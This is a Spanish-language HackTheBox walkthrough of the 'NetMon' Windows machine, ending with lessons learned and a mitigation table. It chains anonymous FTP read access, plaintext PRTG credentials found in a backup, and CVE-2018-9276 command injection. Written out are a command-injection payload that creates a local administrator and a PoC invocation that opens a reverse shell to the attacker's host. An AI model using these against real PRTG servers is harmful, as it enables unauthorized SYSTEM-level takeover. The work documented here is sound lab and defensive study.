HackTheBox Windows Easy
🗺️ Información de la Máquina#
| Campo | Detalle |
|---|---|
| Nombre | NetMon |
| OS | Windows Server 2016 |
| Dificultad | Easy |
| IP | 10.129.14.77 |
| Técnicas | FTP Anonymous Read · Credential Exposure · CVE-2018-9276 · Command Injection |
1. Reconocimiento#
1.1 Escaneo de Puertos#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.14.77PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrmEscaneo de versiones sobre los puertos relevantes:
nmap -sC -sV -p21,80,5985 10.129.14.77PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Indy httpd (Paessler PRTG bandwidth monitor)
|_http-title: Welcome | PRTG Network Monitor
5985/tcp open http Microsoft HTTPAPI httpd (WSMAN)Puertos abiertos:
21→ FTP con acceso anónimo habilitado80→ PRTG Network Monitor — herramienta de monitorización de infraestructura5985→ WinRM (útil si obtenemos credenciales de administrador)
💡 Dato clave: PRTG Network Monitor es software con historial de vulnerabilidades críticas. El FTP anónimo en un servidor Windows puede exponer rutas sensibles del sistema de archivos si no está correctamente aislado en un directorio chroot.
1.2 Enumeración FTP — Acceso al Sistema de Archivos#
ftp 10.129.14.77
# Usuario: anonymous / Sin contraseñaftp> ls
02-03-19 12:18AM .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> WindowsEl FTP expone el sistema de archivos raíz de Windows (C:\). Podemos navegar libremente por directorios del sistema sin autenticación — una misconfiguration crítica que convierte el FTP en un vector de lectura de cualquier archivo accesible al proceso.
La documentación oficial de PRTG indica que los archivos de configuración se almacenan en C:\ProgramData\Paessler\PRTG Network Monitor:
ftp> cd ProgramData/Paessler/PRTG\ Network\ Monitor
ftp> ls06-13-26 08:17AM <DIR> Configuration Auto-Backups
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
06-13-26 09:41AM 1722335 PRTG Graph Data Cache.datHay tres archivos de configuración: el actual (.dat), una copia anterior (.old) y un backup antiguo (.old.bak). Los backups suelen contener información histórica valiosa — credenciales que ya no están en producción pero que revelan patrones. Descargamos el más antiguo:
ftp> get PRTG\ Configuration.old.bak💡 Conclusiones: Acceso de lectura a todo
C:\sin autenticación. El backup de configuración de PRTG es el objetivo prioritario — los archivos de configuración de software de monitorización frecuentemente contienen credenciales de administrador en texto claro.
2. Explotación — Credenciales en Backup y CVE-2018-9276#
2.1 Extracción de Credenciales del Backup#
grep -A2 "dbpassword" "PRTG Configuration.old.bak"<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018Credenciales encontradas: prtgadmin:PrTg@dmin2018. Sin embargo, este backup es de julio de 2018 y las credenciales actuales del sistema son del año siguiente. PRTG tiene una política de rotación anual, y un patrón tan predecible como incrementar el año hace que la “rotación” sea trivialmente bypasseable:
PrTg@dmin2018 → Login fallido
PrTg@dmin2019 → ✅ Login exitosoCon prtgadmin:PrTg@dmin2019 accedemos al panel de administración en http://10.129.14.77/.


La versión instalada es PRTG 18.1.37.13946, vulnerable al CVE-2018-9276.
2.2 Análisis de la Vulnerabilidad — CVE-2018-9276#
PRTG permite configurar notificaciones que ejecutan scripts externos cuando se disparan ciertos eventos. El campo “Parameter” de la sección “Execute Program” no sanitiza el input del usuario antes de pasarlo al proceso de ejecución. Usando ; podemos encadenar comandos adicionales que PRTG ejecutará como NT AUTHORITY\SYSTEM.
Flujo normal: Parameter: "archivo.txt" → script recibe el argumento → ejecuta acción legítima
Flujo malicioso: Parameter: "archivo.txt;comando" → script recibe argumento
→ PRTG pasa el resto al shell sin sanitizar → comando ejecutado como SYSTEM2.3 Explotación Manual — Crear Usuario Administrador#
Navegamos a Setup → Account Settings → Notifications → Add new notification:

En la sección “Execute Program” configuramos:
- Program File:
Demo exe notification - outfile.ps1 - Parameter:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

El payload encadena tres acciones:
test.txt— argumento esperado por el script para que no falle.net user attacker P@ssw0rd! /add— crea un usuario local.net localgroup administrators attacker /add— lo añade al grupo de administradores. Guardamos la notificación y la disparamos desde la lista usando el icono de campana (“Send test notification”):

PRTG ejecuta el script como SYSTEM y los comandos se procesan.
2.4 Shell de SYSTEM con Exploit Automatizado#
Exploit disponible en: CVE-2018-9276 PoC
python cve_2018_9276.py \
-i 10.129.14.77 \
-p 80 \
--lhost 10.10.14.211 \
--lport 4444 \
--user prtgadmin \
--password PrTg@dmin2019C:\Windows\system32> whoami
nt authority\system✅ Shell de SYSTEM obtenida.#
3. User Flag#
La flag de usuario está en el escritorio público, accesible directamente desde el FTP sin necesidad de shell:
ftp> get Users/Public/Desktop/user.txt🔑 Flag de usuario obtenida.
4. Root Flag#
Con la shell de SYSTEM navegamos al escritorio del Administrador:
C:\Users\Administrator\Desktop> type root.txtNota: En Windows, el equivalente de
catestype. No existe de forma nativa encmd.exe. 🏁 Flag de root obtenida.
5. Resumen y Lecciones Aprendidas#
Ruta de compromiso:
- Recon → FTP anónimo expone
C:\completo; puerto 80 sirve PRTG Network Monitor. - Enumeración FTP →
C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old.bakcontiene credenciales en texto claro. - Credenciales →
prtgadmin:PrTg@dmin2018del backup; actualización de año →PrTg@dmin2019→ login exitoso. - CVE-2018-9276 → Command injection en campo Parameter de notificaciones PRTG → comandos ejecutados como SYSTEM.
- Flags → User flag via FTP directo; root flag con shell de SYSTEM →
root.txt. Lo que aprendí con esta máquina:
- FTP anónimo sin chroot en Windows es acceso de lectura a
C:\. No hace falta explotar nada — navegar por el FTP equivale a navegar por el explorador de archivos del servidor. Cualquier archivo legible por el proceso FTP está a nuestra disposición, incluidos directorios de aplicaciones con configuración sensible. - Los backups de configuración de software de infraestructura son un objetivo prioritario. PRTG, Nagios, Zabbix y herramientas similares frecuentemente almacenan credenciales de administrador en sus archivos de configuración para conectarse a los servicios que monitorizan. Si el backup está disponible, suele contener versiones históricas de esas credenciales.
- La rotación de contraseñas con patrón predecible no es seguridad. Cambiar
PrTg@dmin2018aPrTg@dmin2019cumple formalmente con una política de rotación anual, pero cualquier atacante que conozca la contraseña del año anterior puede deducir la actual en segundos. Una rotación efectiva requiere contraseñas aleatorias sin relación entre sí. - CVE-2018-9276 ilustra el riesgo de las herramientas de administración con capacidad de ejecución de scripts. PRTG necesita ejecutar scripts para sus notificaciones — es una funcionalidad legítima. El problema es no sanitizar el input antes de pasarlo al proceso. Software de monitorización e infraestructura suele correr con privilegios elevados, lo que convierte cualquier inyección de comandos en acceso inmediato a SYSTEM.
- Siempre verificar todos los archivos de la misma familia antes de usar las credenciales encontradas. Había tres versiones del archivo de configuración (
.dat,.old,.old.bak). El.datactual podría haber tenido credenciales directamente válidas. El.old.bakera el más antiguo y requirió el ajuste del año — haber empezado por el.datpodría haber ahorrado ese paso. Mitigaciones:Vector Mitigación FTP anónimo con acceso al raíz del sistema Deshabilitar el acceso anónimo; si se necesita FTP, aislar en un directorio chroot sin rutas del sistema Credenciales en texto claro en backups de configuración Cifrar los backups; eliminar backups antiguos; nunca almacenar contraseñas en texto claro en XML Rotación de contraseñas con patrón predecible Usar contraseñas generadas aleatoriamente sin relación entre versiones CVE-2018-9276 — Command injection en PRTG Actualizar PRTG a versión 18.2.39 o superior donde el campo Parameter está sanitizado PRTG ejecutando notificaciones como SYSTEM Configurar PRTG para ejecutar scripts con un usuario de servicio sin privilegios administrativos